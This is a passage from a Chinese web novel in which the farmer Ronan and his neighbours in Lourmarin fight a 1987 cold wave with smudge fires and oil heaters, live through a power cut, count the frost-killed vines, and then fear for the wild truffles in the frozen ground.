雨果的诗歌给了罗南等人精神上的动力,他们在黑夜到来之前的最后几个小时又进行了一轮排查,并时刻等待黑夜的降临。 不过黑夜没等到,他们先等到了希尔维。 “最近还好吗?”罗南走过去问。 希尔维的脸和罗南一样红,显然也是在户外工作好几天了: “这几天在做抗寒部署,政府大楼开放出来做居民临时避寒所了,可以容纳120个人左右。” 寒潮会杀死大地上的作物和动物,同样也会杀死人。 吕贝隆1956年的那场寒潮冻死的人有几百个之多,毕竟不是每一户居民都有罗南家这样坚固的房子和温暖的燃油暖气。 事实上,政府这段时间的压力一点都不比农夫少。 “你们也辛苦了。”罗南感慨道,“不过你不用担心我这里,我们家很暖和。” 希尔维指挥着一辆卡车倒入罗南家门口的柏油马路上,用歉意的语气说: “我们争取和协调来的燃油加热器有限,只有70多台,还有许多农田没有分发到,所以只能给你一台.实在抱歉了。” “燃油加热器?”罗南红晕的脸上出现了一丝喜色。 他爬上卡车,看到后面装的可不是燃油加热器嘛! 在20世纪,燃油加热器是抵御严寒最有利的帮手,只不过因为其高昂的售价和恐怖的油耗,还有相对复杂的操作方式没有大面积普及。 单台加热器功率约 50000-80000 BTU/h(14.6-23.4 kW),覆盖半径 10-15米,可提升覆盖面积地表以上2米处气温2-4度。 最厉害的是,这东西可以通过热空气上升打乱逆温层,减少冷空气的沉积,每一台的实际影响面积会比10-15米更广阔一点。 虽然只有一台,但它太有帮助了! 葡萄园多了一道无形的屏障! 傍晚时分,弗雷迪把罗南喊进屋,说有个女人打电话找他。 罗南接起电话,意外的发现居然是‘好姐姐’朱莉特。 他第一反应是好好问一问沃克吕兹省农业部在这次自然灾害中扮演的角色,但朱莉特以私人的口吻关切的说: “农业部已经协调了EDF(法国电力公司)优先保障吕贝隆山区供电,而且我们带着500台燃油加热器也到了吕贝隆附近抗灾你那里还好吗?” 希尔维说燃油加热器是‘协调’和‘争取’来的,所以其中有一部分是农业部送来的? 罗南把一肚子怨言暂时憋了下去,现在并不是说这些的好时候。 “我个人认为沃克吕兹省监控和防御灾害天气的能力有许多可以提升的地方。”他看向窗外西沉下去的太阳,坚定的说,“不过,我已经做好所有准备了。” 下午5点20,太阳爬下地平线,吕贝隆的黑夜正式开始。 6点半,罗南等人穿着厚重的防寒衣物和佐伊特意送来的防烟雾面罩,离开温暖的室内,走入葡萄园里点燃了事先搭建好的烟堆。 一朵朵橘红色的花朵在已经光秃的葡萄园里逐一显现,像是要进行一场诡异的‘祭祀’似的。 约20分钟后,罗南带领众人用湿稻草和泥土将明火压制住。 絮状的灰色烟雾翻涌而出,争前恐后的贴着地面蜿蜒向葡萄园的每一个角落,逐渐与夜幕交融到一起。 “啪——” 某处烟堆爆发出一道脆响,一个火舌挣脱了‘牢笼’,舒展的挺起腰枝。 罗南顺着这朵火舌跳跃的方向抬头看过去,发现四周的天空中都升腾起了灰黑色的烟雾。 它们一点点飘向长空,逐渐融合,交织成网。 这道由几百位农夫联合制作出来的黑色‘守护斗篷’,将在今夜死死的保护卢尔马兰。 第294章 黑夜进行曲 罗南家的室内温度可以达到20度左右。 但桌子上摆的、大家手里拿的却是从古尔村买回来的高度烈酒。 今晚每过1个小时就要出去换一次班,检查烟堆的状态并随时准备添加燃料。 但今晚太凉了,这对习惯地中海温暖天气的法国南部居民来说是一种酷刑,进入屋内后,即使有燃油暖气和壁炉,还有热水和烈酒都要好久才能缓过来。 罗南手里握着热水杯,问弗雷迪和阿兰: “孩子们那里还好吗?” 路易这几个男人最近要留在罗南家帮忙,暂时没办法顾及家里,所以弗洛西和妮可拉今天带着孩子们去了路易家住,一同去的还有卡尔和他的妻子,他们的孩子不在身边,没有人照顾。 这几家住的全是老房子,还没有来及翻修,今天夜里实在太凉了,还在刮风,一般的壁炉恐怕很难起到作用,路易家有温暖如春的燃油暖气。 这样想来,两家这几万法郎花得太值了。 但极端天气带来的不止是降温,还可能会有断电、停水等意想不到的突发情况,因此罗南格外注意路易家那边的情况。 他刚刚出去了一小会,不知道在这个过程中有没有发生什么。 弗雷迪喝了一口酒,笑着说: “一切都好,莉亚给孩子们做了草莓蛋糕,他们玩的很开心,刚刚通话时我听到孩子们在喊不想回家,想要一起多住几天。” 罗南难得露出一点笑容: “明天看看情况,如果没有明显升温就让他们在那里多住几天,相互有个照应。” 说话间,大门被人推开。 刚刚出去的两个卡福的伙计把路易和另外一个人换回来了。 路易只有两只眼睛露在外面,一进屋就坐到了最靠近壁炉的地方,他把两只手伸向炉火,并发出了代表寒冷的‘嘶哈’声。 弗雷迪笑着打趣: “你的脑子已经跟不上时代了,那里并不是客厅最暖和的地方,你应该去暖气片前暖手。” 路易一刻没犹豫,马上抱住了暖气片,过了那么一两分钟,他才把头上的皮帽子和面罩取下来: “上帝,今天太冷了,我发誓今天比1976年的那次寒潮冷!” 在1976年,路易还在种地,他同样参与了村里的抗寒行动。 跟路易一起回来的那个人对罗南等人说: “现在外面的气温是-10度,但这还不是今夜最冷的时候,我估计按照这个情况发展下去,最低温度要达到-15度了。” 大伙出去轮流添加燃料的同时还会时刻关注温度的变化。 最低温度在-10°C至-12°C区间,大部分成年葡萄藤的枝条和芽眼可能受损,但根系和主干可以存活下来。 当气温来到-15°C至-20°C,葡萄根系和主干组织就会有概率冻结破裂,导致整株死亡。 如果温度降到-20°C以下即使是抗寒的品种也很难存活下来。 而在寒潮的影响下,气温还会和受冻时间有一定关系。 寒潮通常定义为:连续48小时以上日最低气温低于历史同期均值5°C以上。 也就是说,这场气温骤降至少会持续两天。 但如果保持-12°C超过48小时,葡萄藤就有可能会死亡了。 同理,如果低温情况(-15°C以下)只有6小时以内,葡萄藤的根系还是有可能保住,只是部分株体冻伤,到了春天把冻伤的部分剪掉即可。 还没到夜里12点就已经到达了-10°C,在凌晨4、5点达到-15°C的概率确实很大,现在要做的是尽可能推迟最低温的到来时间,以缩短最低温到太阳升起之间这段时间的长度。 罗南这些人虽然已经做足了准备,但葡萄藤能不能活,能活多少谁都说不好。 形势愈发严峻,罗南在屋子里坐也坐不住,睡也睡不着。 他再次穿上厚厚的衣服,戴上皮帽子和面罩走了出去: “我再去加点油。” 路易、弗雷迪和阿兰互看了一眼,同时叹了一口气。 还没到罗南轮班的时间,他就出去两三次了。 不过这个心情他们完全理解 相信在此刻的卢尔马兰,像罗南这样‘心急如焚’的人有几十、几百个。 罗南来到室外,拿起了放在一个安全区域里油罐,向着‘上风口’的那台燃油加热器走去。 他准备的烟堆燃料充足,烟点设置的甚至更密集了一些,所以这个可以搅动下沉冷空气的先进设备被罗南放到了最靠北的位置,在发挥功效的同时又形成了一道小小的屏障。 虽然只有一台,但聊胜于无。 去加油的路上,罗南的思绪忍不住的发散出去。 燃油加热器是个吃柴油的怪物,开到最大挡油耗可以达到5升柴油/小时。 吕贝隆山区运输成本高,柴油价格是3.5法郎/升,如果按照点燃8个小时计算,需要花费140法郎,但实际情况肯定要长于8个小时的。 如果想要把抗寒做到极致,所有的烟堆都应该被燃油加热器所代替,那么整片区域的升温效果可以达到4度以上。 这样即使寒潮使气温达到零下15度,也达不到株体冻死的阈值。 不过先不说吕贝隆一共有多少台燃油加热器,就是真的有那么多台,也没有人能花费的起这个成本连罗南都恐怖于这个数字。 罗南长长的呼出一口白气。 无论是农用抗寒设备,还是检测系统,亦或者是物理防护方面现在都太落后、太不精致、太不智能了沃克吕兹省的农业生态必须要升级! 想着想着,罗南余光看到一侧突然有什么东西闪烁了两下,像是有人在黑夜里开着闪光灯拍照似的。 他看向那个方向,发现是几百米外特奥家的灯在闪烁,不等罗南反应是怎么回事,特奥家完全消失了,像是被黑暗中潜伏的怪兽吞噬了下去。 罗南猛的扭头,看向自己家的方向,发现原本灯火通明的房子只留下一个模糊不清的影子。 “断电了?”罗南惊呼出口。 “啊!!” “啊———” 在屋子陷入黑暗的同时,路易家仿佛置身于地狱之中,四道刺耳的尖叫声同时响起。 黑暗中乱作一团,妈妈慌乱的四处找孩子,孩子哭着找地方钻进去或者躲起来,如果不小心碰到未知物体,又会马上多几道凄厉的叫声。 “不要跑,也不要怕,都待在原地!”莉亚大声喊着。 但她明显感觉到有两只温热的小脚先后重重的踩着她的脚面横向跑了过去,同时大脑被尖叫声刺激的一阵阵眩晕。 她已经十几年没有体会过孩子‘狮吼功’的威力,有些轻敌了。 卡尔和佐伊也帮忙维持秩序,努力控制满屋子飞奔的孩子,尤其是弗雷迪家的两个儿子。 现在已经搞不清他们是真的在害怕的尖叫,还是尖叫之后觉得挺好玩的所以叫得更加大声、跑得更快了。 在几道东西跌落的声音出现后,一屋子妈妈使出了她们的全部力气,既希望用‘虎啸’控制住当下的局面,但效果甚微。 弗洛西崩溃的喊: “如果弗雷迪在就好了,莱昂和米洛最怕他们的爸爸,弗雷迪一瞪眼睛他们就不敢出声了。” 妮可拉已经控制住了她的两个孩子,在黑暗中问莉亚: “莉亚,电箱在哪里?是不是跳闸了?” 莉亚半蹲下来,伸出双手摸索着说: “我在去电箱的路上亲爱的” 佐伊不知何时已去到了窗边: “附近都黑了,不是电箱的问题,妈妈,手电筒和蜡烛在是不是在电视下面的抽屉里?” 莉亚马上调转方向,一边提防还在四处乱跑的两个男孩再次踩到自己,一边艰难的前行: “是的亲爱的,我现在就去拿。” “嗯?是谁在拿我的拐杖?莱昂是你吗?” “莱昂快停下来!”弗洛西寻着声音走过去。 “哎呀——”莉亚被人撞了一下,身子转了半圈,马上失去了方向。 电视柜在哪个位置来着? “唰——” 一道昏黄的烛火出现在客厅的电视前,随即电视机的屏幕上倒影出一张少年的侧脸。 弗洛西一手一个拎起两个捣蛋的儿子,闹剧终于结束了。 “我在每间屋子最容易触碰到的地方都放了蜡烛和火柴,这样无论什么情况大家都可以快速使用了。”维埃里把手里的蜡烛点燃,看向屋子里散落各处的几个人说。 “妮可拉阿姨,蜡烛在沙发旁边的边柜里。” “妈妈,你右手边的抽屉里也有蜡烛。” “佐伊,窗台上我也放了一根。” 将大家附近的蜡烛位置一一指出来后,维埃里举着蜡烛把老卡尔的拐杖捡起来,重新交回到他的手里,并安慰大家说: “应该是用电量超负荷了,天气太冷,村子里使用电暖气的人太多,不过罗南说了,政府做好了24小时紧急抢险的准备,很快就会修好,大家先休息吧。” 说完,维埃里拿着蜡烛去往放锅炉的位置: “我去检查下那些机器的运行情况,再去打几桶水提前准备出来,这样即使一会水路出了问题也不会受影响了。” 虽然几盏烛火昏暗,但在场所有人的眼睛里都出现了不输于烛火的光芒,它们驱散了黑暗,带来了宝贵的光明。 刚刚那个冷静沉着的男孩,不不不,男人是维埃里? 一个半小时后,供电恢复。 路易家的电话马上响了起来。 “孩子们还好吗?”弗雷迪劈头盖脸的问。 不等对面回复,阿兰就把电话抢了过去: “妮可拉,照顾好孩子们,告诉他们不要害怕!” 路易对着电话大喊: “莉亚!虽然你那里没有男人,但我知道你一定可以照顾好大家的,还有佐伊,你们都是最好、最棒的女性!” 电话那边传来几个女人带着笑的声音。 “谁说我们这里没有男人?” “你们不知道维埃里有多细心,又有多冷静。” “弗雷迪我发誓即使你在这里也没有维埃里做得好,他把我们照顾的非常好,你们就放心吧。” 第295章 希望永不破灭 当天夜里,罗南监测到最低温度是零下14度。 其他农夫也都各自做了监控,并得到了差不多的结果。 熏烟后的气温达到零下14度,代表这次寒潮实际带来的最低温度远不止如此。 睡醒一觉后,罗南接到了母亲的电话。 “电台里说,夜里阿维尼翁的最低气温是-12.4°C,卡庞特拉-14.2°C,吕贝隆的气温普遍达到了-16°C,气象局说这是20世纪除了1956年外最大的一次寒潮。” 夜里没怎么睡好,而且心里有事情压着,罗南语气不算多好的说: “谢天谢地,沃克吕兹省的天气系统终于工作了,我还以为他们要等寒潮过去之后才上班呢。” “咱们那些葡萄.”冯珍担忧的说,“能熬过去吗?” 她和罗天海要顾着餐厅那里,夜里并没有熬夜。 他们起来的时候,园子里的烟已经灭了,大家都去睡觉了,所以并不知道夜里的具体情况。 罗南把手插到头发里,用力搅了一下: “很难讲,要到春天挖出来才能知道,不过完全确认情况要等到6、7月份了。” 一过了2月,普罗旺斯的春天就开始了。 不过皮埃尔担心今年像去年一样不太平,会有‘倒春寒’的情况发生于是决定到了4月初再让葡萄藤出土。 那个时候就能看出多少冻死、多少冻伤了。 但不排除有一些葡萄藤剪掉了冻伤芽口或看起来无大碍,但到了6、7月份出现叶片黄化、枝条萎蔫的情况。 所以这次寒潮造成的具体影响只能等那个时候才能全面统计下来。 不过那是对普通人而言 【种植】技能升到3级时,罗南获得了一个看到一部分作物形态就能判断出状态的能力。 等这次寒潮彻底过去,他只需要把一小片范围的根部保护膜打开,观察它们的情况,就能计算出大体情况。 “好了儿子,你起来吃点东西,再去睡一会吧,夜里还要熬夜.电台说这次寒潮可能要持续一周呢。”冯珍心疼的挂断了电话。 “一周吗?”罗南脸色瞬间难看了下来。 低温状态这么多天.吕贝隆的作物真的凶多吉少了。 普罗旺斯气象局终于靠谱了一次。 他们说这次寒潮能持续一周,就真的持续了一周。 周六吕贝隆的最低气温是负的16度,到了周二最低温度曾一度到达了零下18,虽然只有一天,但那之后的几天夜间最低温度依然在-15度以下。 在这度日如年的一周中,罗南不止一次祈祷,普罗旺斯的气象系统能像以前一样不靠谱也许寒潮3、4天就走了? 但等啊等啊等,等到能明显感到气温回暖、夜里温度计监测到温度也来到了负7、8度时,他心中最后的一丝希望也被磨灭了。 1987年1月在普罗旺斯发生的这次寒潮,一定会是20世纪地中海气候区农业灾害研究的典型案例。 现在农夫们已经不奢望能保住全部葡萄藤了.只希望等到春天,把它们挖出来时,活下来的能多一点,哪怕多一株也行。 寒潮过程中,农夫们有太多事情要做,没有见面的机会,不过大家没有忘记用电话沟通情况。 罗南每天都必须和那几个熟悉的农夫联系一下,否则总觉得心里差点什么似的。 “你觉得这次的损失有多少?”从出现-18度的温度后,特奥每天都要问一次罗南这个问题。 而罗南每次给他的都是同样的回答: “肯定不会比1956年更差,那年大家都熬过来了不是吗?” 特奥咬着后槽牙说: “但那次60%的葡萄藤和橄榄树都冻死了,我去问了村里的老农夫,即使是1976年的那一场寒潮也死了30%。” 罗南用安慰的语气说: “1976年的准备时间没有这次长,皮埃尔早早的通知咱们埋了葡萄藤,还在寒潮到来之前就让我们准备熏烟的燃料,卡尔说1976年的那次寒潮到来之后大家才开始找材料熏烟,所以这次的情况肯定比1976年好。” “对对对,你说的对。”特奥语气好了不少,“我再去准备点燃料,万一又来寒潮了怎么办呢?” 类似的回复罗南每天都要和特奥说一次,但第二天特奥又会把电话打来,直至罗南再次给到他满意的答案,他才能安心的去干别的。 刚刚安慰完特奥.康奈尔的电话就来了。 特奥是每天来找罗南要答案,康奈尔是每天都要来找罗南哭一次。 “怎么办啊罗南。”小胖子‘哭哭啼啼’、‘上气不接下气’的说,“我现在一块地都没有,如果葡萄、橄榄、橙子和草莓都死了,我更签不到地了,我.我未来怎么办啊!” 罗南让自己的语气温和下来,丝毫不会因成为康奈尔的‘垃圾桶’而不耐烦,现在的康奈尔需要鼓励: “首先,不到4月份谁都不知道作物的情况,你怎么知道它们会死?也许拆开都活的好好的呢?其次,你会这么多本事,即使不当农夫也可以干别的啊。” 康奈尔抽抽嗒嗒的说: “可我妈妈希望我做农夫,我想让她为我骄傲” 罗南用大哥哥一样的语气安慰康奈尔: “我和阿克尼娜接触过许多次,我认为她不是一个不讲道理的母亲,她说希望你当农夫,只是希望家里唯一的男孩有一份稳定且体面的工作,但如果你能找到一份更加体面、稳定又赚的多的工作,她也一定会支持你的。” “真的吗?”康奈尔不确信的问。 “当然!”罗南语气坚定且欢快的说,“不要忘记你的目标是娶到城里的姑娘啊康奈尔,只要你勤奋上进,无论职业是什么都可以吸引到优秀女性青睐的。” “好”康奈尔被罗南的‘鸡血’打兴奋了,“我去看书了,我要再自学些东西!” 类似的电话罗南每天要接十几二十个。 农夫们都想从罗南的口中听到对于未来的‘希望’。 罗南是卢尔马兰最厉害的人,他说未来还在就一定还在,罗南从来没有错过! 但希望.真的还在吗? 在寒潮彻底过去的第三天下午。 罗南没有告诉任何人,悄悄的走入了葡萄园。 葡萄藤被弯入了土里,但根还是会裸露在外面,这一部分的处理方式是用隔热材料缠绕后再用土掩埋上,所以拆起来并不困难。 罗南不停的蹲下、挖土、拆保温材料、缠保温材料、盖土、蹲下、挖土、拆保温材料、缠保温材料、盖土.在如此查看了各个区域的几十颗葡萄藤后,他坐到葡萄园的地上,痛苦的捂住脸。 受灾情况比预想的还要严重。 30%的葡萄藤都死了.即使活下来的,冻伤也很严重,需要进行大范围的修剪。 这次的损失注定会大于1976年的那场寒潮。 其实在来采样之前,罗南就猜到了有可能会有这种情况,也做好了充足的心理准备。 他不停暗示自己,你可以给别人希望,但你自己要理智,要把情况设想成最差的情况。 但真的看到这个结果,他的心理防线一下子就被击垮了,这大概是由于‘希望’破灭了。 与希望一同破灭的还有情绪、还有坚强. 还要继续种地吗? 这种靠天吃饭的职业到底适不适合我呢? 他有其他许多事情做,但那些靠天吃饭的兄弟们要怎么办呢? 罗南是被叫喊声拉出沮丧漩涡的。 他站起来,看向发出声音的方向,发现是皮埃尔来了。 “你怎么蹲在那里面?”皮埃尔远远的喊。 “土有点松了,盖了点土。”罗南情绪低落的走过去,愕然发现皮埃尔的胡子长的他都快不认识了,像是个从山里跑出来的野人一样。 而且皮埃尔瘦了不少,脸上都出冻疮了。 “你的脸?”罗南马上猜出了缘由,关心的问,“你夜里在外面待的时间太长了是不是?” 皮埃尔摸了摸脸,强挤出一个干瘪的笑容: “所以我留了胡子。” 如果是半个月前,恶作剧大王皮埃尔一定会给胡子编出许多离奇的理由,并和农夫们打赌能骗到几个.但现在他一点开玩笑的心情都没有了。 罗南快速整顿心情,不想让自己的崩溃被他察觉到: “你这几天一定累坏了,快别满处乱跑了,好好休息。” 皮埃尔无所谓的扬了一下手,操心的说: “烟堆得赶紧处理掉,现在还不能休息,我是来告诉你这个的。” 罗南点头: “我知道,已经开始处理了,不过你打个电话就好,何必跑一趟。” 皮埃尔叹气: “主要是想看看大家的状态.你知道的,情绪通过电话没有办法完全捕捉到。” 罗南拍了拍他的肩膀: “放轻松点,大家都挺好的。” 皮埃尔突然丧气的低下头,自责的说: “怎么会好呢.这次一定会产生巨大的损失,其实这次我失误了,我出现了几次巨大的失误,在让大家盖葡萄藤的时候就应该同时通知他们开始准备熏烟的材料,这样周五烟就可以熏起来,也许早行动一天就能保下来多一点的根苗,我判断失误了。” 罗南用力捏了几下他的肩膀: “你已经做的很好了,没有你,损失更惨重,卡尔说1956年和1976年都没有你这个角色的存在,如果那个时候有一个你这样经验丰富的人带着大家抗寒,结果会完全不一样。” 皮埃尔不停的摇头: “但没有用啊!今年的损失一定比1976年大,说不定会和1956年一样,我并没有保护好大家!” 罗南扶住他的两个肩膀,让他不要激动: “还没出土呢,也许结果没有那么糟?” 皮埃尔的情绪突然激动起来: “罗南,这次一定损失惨重,我发誓,真的” 他突然高高的昂起脑袋,右手大拇指和食指覆盖到两只眼睛上: “1976年我还是个年轻的小伙子,那年葡萄藤出土时,地里全部是低头流泪的农夫,他们的妻子抱着孩子发出撕心裂肺的哭声,整个卢尔马兰被阴霾笼罩了足足有四五年,直至新的枝桠长出来,农田里才又出现了微笑。” “那之后我发誓,一定要把笑容留在卢尔马兰的上空!我给大家讲笑话、学会了恶作剧,我再也不想见到农夫和农夫的家人在农田里哭泣的样子,但是我但是我还是没有做到,我——” 罗南突然抱住皮埃尔,在他的背后用力拍了几下: “今年葡萄藤出土时,卢尔马兰不会有任何一个人哭泣,我向你发誓。” 农田是农夫们的希望,但罗南是卢尔马兰的希望。 有他在,希望永不破灭。 第296章 世上只有妈妈好 土壤下的葡萄藤进入了‘薛定谔’状态。 在4月份出土前,罗南会努力守护住大家的希望,并寻找可以让希望继续延续下去的办法。 想了整整两天后,他有了几个大致的思路。 第一个可能是向卢尔马兰政府申请足够多的灾害救助资金。 旅游局批预算的时间节点早于4月,如果预算申请下来了,而且足够充裕,也许可以想一些巧妙的办法从里面挪出一部分预算挽回大家的损失? 第二个可尝试的方向是,向朱莉特咨询卢尔马兰农业转型的可能性。 沃克吕兹省旅游局有专项扶持资金,也许在吕贝隆种植某些作物也可以得到沃克吕兹省农业部的补贴和支持? 这么大的灾害过后,罗南不信农业部不会考虑引进先进的农业技术和设备,也许还可以争取让卢尔马兰做个试点? 另外一个方向是找到让农夫们忘掉伤痛的‘新希望’,给他们指出一条更加光明的‘新未来’。 土地是农夫们赚钱的手段,给他们找到一条新的赚钱道路就好了呀。 除了以上几种尝试外,肯定还有其他方向只不过时间太短,罗南暂时还没想到。 总之,他心中的希望也发了芽。 只要希望还在、只要大家还没有被击垮,就一定有机会找到解决办法。 罗南始终坚信那句话——未来卢尔马兰一定会发生翻天覆地的改变,无论是劳动力结构,还是农业布局,亦有可能是经济主导类型这个过程中肯定会有波折和坎坷,但改变的最终结果,一定会是好的。 寒潮已经过去了四五天。 但笼罩在卢尔马兰上空的乌云并没有散去,虽然现在还不知道农田的具体情况但大家的生活还是受到影响了。 首先是莫力酒庄取消了给卢尔马兰居民的酒折扣,即使按箱买,最便宜的红酒和白酒也要40法郎一瓶了。 理由是他们担心寒潮会影响今年的葡萄产量,导致明年的利润不及预期,因此要提前一年开始‘存钱’。 酒庄老板亲自来卢尔马兰向大家道歉,说因去年获得了品牌执照,采买了许多先进酿酒设备,欠了法国农业银行一百多万法郎,如果熬不过今年,大家就再也没有便宜酒可喝了。 皮埃尔说,吕贝隆取消合作村落折扣的酒庄和酿酒合作社非常多,即使没有银行的贷款压在身上,他们也对今年的葡萄产量持悲观态度。 如果今年葡萄藤损失严重,未来三到五年,吕贝隆腹地的葡萄收成都将缩减,那么酒庄会持续提高红、白酒的售价这代表大家未来几年都没有便宜的餐酒喝了。 “既然没有折扣我就不喝莫力的酒了。”法比安气呼呼的说,“都是40法郎,我要找其他好喝的酒品牌。” “莫力酒庄做了一个非常糟糕的决定,因为那么一点点利润,损失了一整个卢尔马兰的市场,愚蠢的家伙!”亨利握着酒杯嚷嚷,“罗南先生,你也不要卖莫力的酒了,最好让他们马上倒闭才好!” 罗南笑了笑,没有说话。 今年大家的日子都不好过啊 特奥无所谓的耸肩: “这对我的影响不大,除了出来每天喝几杯,我家里全是卢卡斯送来的酒,它们都不便宜,也不是莫力的。” 不过他突然拍了一下桌子: “我在意的是另一个问题,该死的,肉价怎么涨到那么高了?安娜喜欢吃的羊肉和羊肚每公斤涨了10法郎!” 罗南摇着脑袋说: “不止羊肉涨了,所有肉类和蔬菜都涨价了。” 康奈尔叹气: “这场寒潮冻死了许多牛羊,存栏量下降了,而且饲料价格也上涨了。” 寒潮不仅会冻死作物和牛羊,还会冻死动物们吃的牧草。 这段日子呼呼吃的粮草都是特奥那里喂兔子用的。 罗南继续给大家补充道: “这次电力局把重心放到了山区的居民用电上,许多商户都遇到了供电不稳定的情况,寒潮那段日子弗雷迪的屠宰场经常断电,鲜肉供应的效率也降低了。” 法比安看着大家说: “虽然出现了这样那样的问题,但我还是要说,这次各级政府的反应速度和应对能力比1976年强太多了,生活没受到什么太大的影响,也没听说哪家居民这次受灾了。” “是啊,这已经算是不幸中的万幸。”大家跟着附和。 “还没影响?!”亨利咬牙切齿的说,“蔬菜、肉、酒的价格都涨了,快吃不上饭了!” “吃几天面包不行吗?”特奥不悦的怼亨利,“正好你前一阵子大鱼大肉和海鲜吃多了,清清肠。” “我都吃半个月面包和奶酪了!”亨利生气的说。 “谁不是呢?”特奥也对着亨利嚷嚷,“前一阵子天天忙的要死,谁还有心情吃好的,卢卡斯都跟着我啃了半个月面包我说你这个家伙矫情个什么啊?” “好了好了,别吵了。”罗南把这对冤家劝开,“最近大家辛苦了,月底来我家过春节,咱们好好吃两天,给你们补补。” 一桌人的脑袋齐刷刷的看向罗南。 “春节?” 罗南也是今天才处理完所有的烟堆肥料,得了一点空闲时间,和农夫们喝了一会酒又聊了一会天后,他去到了收银台。 “寒潮对餐厅的影响大吗?”罗南问母亲。 前一段时间他的精力放在了抗寒上,其他的事情都没顾上。 冯珍先是点了一下头,继而撇着嘴说: “影响了,但没有那么夸张,比11月的那段日子好不少,现在村里人的生活条件提高了,以前天天吃面包奶酪不觉得什么,现在吃几天就要出来解馋,他们的第一选择肯定是咱们家。” 罗南放下心来: “那就好。” 冯珍压低声音说: “现在的问题是,物价涨上来了,咱们的利润薄了!” 物价飞涨,但罗天海说暂时先不涨价了,不能再给卢尔马兰人增加压力。 从这一点看,罗南他们爷俩性格挺像的。 “爸爸和我说了这件事。”罗南安慰母亲,“爸爸的意思是,在旅游季到来之前先不涨价,看看情况再说,这段时间来餐厅吃饭的都是村里的人或者附近的熟客,涨钱不合适,如果到了3月份,物价还没有降下来,再看情况决定涨不涨、涨多少,那个时候来吃饭的就是游客了” 往年一到旅行季,卢尔马兰的酒馆和餐厅就挤不进来本村人了,今年的情况肯定是一样的。 罗南的餐厅一定是游客们‘集火’的目标。 本地人没钱,但那些从世界各地来的游客有钱啊,吕贝隆可是旅游景区.罗南他们完全可以把餐厅更新成旅游区的物价。 “行,我不管,你们爷俩商量着来吧。”冯珍没什么情绪的说。 罗南靠在吧台上,笑着说: “菜价你可以不管,但春节怎么过你可要早早的准备起来,我已经邀请朋友们来体咱家‘过年’了。” 春节在一月底,距离现在也没有多少天了。 罗南想利用这个喜庆的日子把大伙的情绪提一提,赶紧把寒潮忘了。 冯珍得意的对儿子眨了下眼: “还用你说.12月我就开始准备了,而且把你的那些朋友都算了进去,放心啊,我连红裤衩和红袜子都买好了,皮埃尔明年是本命年,必须让他穿上!” 罗南隔着柜台轻轻抱了一下母亲: “有你这么好、这么周到的妈妈,我真是太幸福了!” 在餐厅待了一会,罗南返回家中。 卡福的伙计们今天复工继续建工作室,罗南打算去看看寒潮有没有给工程造成影响。 “我和你一起回去。”特奥把酒喝了,跟着一起离开,“我抱怨了一句羊肉涨价,卢卡斯下午要给我送羊肉,算算时间该来了,我回家等着去。” 法比安哈哈大笑着说: “卢卡斯对你不错啊,特奥。” 特奥先是得意的抬了下下巴,随后大大咧咧的招手: “是对安娜好,他知道安娜爱吃羊肉,特意去梅纳村买的小羊羔。” “一整只吗?”康奈尔不争气的张开嘴巴。 他好几天没吃肉了,更不要提小羊羔。 特奥嘿嘿笑了两声,露出了‘阴谋得逞’的坏笑: “一只够谁吃,卢卡斯买羊羔都是三只起!” “你是故意的,你这个家伙太可气了!”康奈尔抗议道。 “过分了啊,你在拉仇恨。”法比安也跟着嘟囔。 亨利愤愤不平的捶了下桌子: “你这个家伙仗着有一个厉害的哥哥,天天太嚣张了!没有卢卡斯你算个屁啊!!” 特奥搂着罗南,开心的离开了餐厅: “羡慕死你们!” 还没到特奥家门口,罗南就远远的看到了卢卡斯的越野车。 罗南笑着问特奥: “最近兄弟俩关系挺好的?” 卢卡斯不只给特奥找帮手,还跟着一起忙了整整一个寒潮。 兄弟俩的关系简直不要更好。 特奥跟罗南说话时没有那么‘欠揍’了,他露出开心的笑容: “可能因为前一阵子聊过一次吧,感觉我们之间的一些误会解除了。” “什么误会?”罗南问。 特奥敷衍着说: “一些小事,不用提了,反正自那之后卢卡斯就开始对我好了。” 罗南也没有深入追问,只是半真半假的说: “说不定在那之前就对你挺好的,只不过你没看到。” 特奥不好意的干笑两声: “可能吧以前我一见他就想跑。” 他话锋一转,压低声音对罗南说: “不过这要感谢你,口袋里有钱后,家庭和谐美满多了。” 到了分岔路口,罗南停下拍了一下特奥的肩膀: “以后好好赚钱,多给家庭出点力。” “那是肯定的!”特奥咧开嘴笑着说。 罗南远远的和坐在车里的卢卡斯打了个招呼,向着自己家的方向继续前行。 他绕过自己的房子,走到后院,发现工人门居然没有在施工,现场一丁点叮叮咣咣的声音都有。 走近了些,听到他们正围着一个小土坑说话呢。 “怎么了?”罗南也围过去看。 带头的伙计给罗南解释: “这两天没办法施工了,得等气温再回升一下,我们下了几铲子,下面20厘米全是冻土。” “好。”罗南点点头。 这一两天他还是能等的。 和伙计们又交代了一些施工细节后,罗南返回室内。 可刚走了两步,他的脚步便放慢了。 等等好像忽略了什么事情。 冻土。 20厘米的冻土。 似乎有一道霹雳突然落到了罗南的脑袋上。 他顾不上形象,慌张的飞奔去了特奥家。 卢卡斯和特奥正在搬羊,见罗南这副样子,开玩笑的说: “怎么?想抢一只羊羔走?” 罗南嘴巴嚅嗫了几下,最终还是没有直接说来意。 他帮着一起搬了一会,终于等到一个特奥不在的机会,小声问卢卡斯: “你这段时间进山了吗?” 第297章 没死绝! 松露生长在地下10-30厘米的地方,距离地面还没有经过层层防护的葡萄藤深。 冻土形成,它们一定会遭殃! 而且农田有人熏烟、有人保温,几乎24小时都在照料之下,那些长在森林里和山上的松露有谁去保护,又有谁去照料呢? 松露的根系是最最脆弱的作物之一否则人工培育松露就不会是难题了。 现在山里的情况.罗南根本就不敢想。 尤其松露和葡萄不一样。 葡萄两三年就可以少量结果了,但野生黑松露从孢子生长到成熟期需要8-10年! 是8-10年!! 卢卡斯的反应,让罗南知道他和自己一样.同样忽视了这个重要的情况。 一向稳重的卢卡斯这次也稳重不了了。 他撂下一句‘想起来有事要去办’就离开了特奥家,走去开车的样子已经可以用‘慌乱’来形容。 罗南担心他这个状态开车会有危险,小跑着追上去,贴着车门安慰: “如果.情况不好,松露的价格马上就会涨上去,玛格丽特的鼻子那么厉害,可能情况没有那么糟糕。” 即使是1956年的那场特大寒潮和霜冻,松露也有30%存活了下来。 他和卢卡斯都是经验丰富的松露猎人,未来两个月绝不会颗粒无收。 供大于求,价格下跌,就像几个月前那样。 供应跟不上需求,松露的价格马上就会涨上去而且是以夸张的幅度上涨。 卢卡斯没有什么表情的‘嗯’了一声,一脚油门踩下去,车子快速窜了出去。 特奥傻乎乎的,完全没反应过来发生了什么,还转头安慰罗南呢: 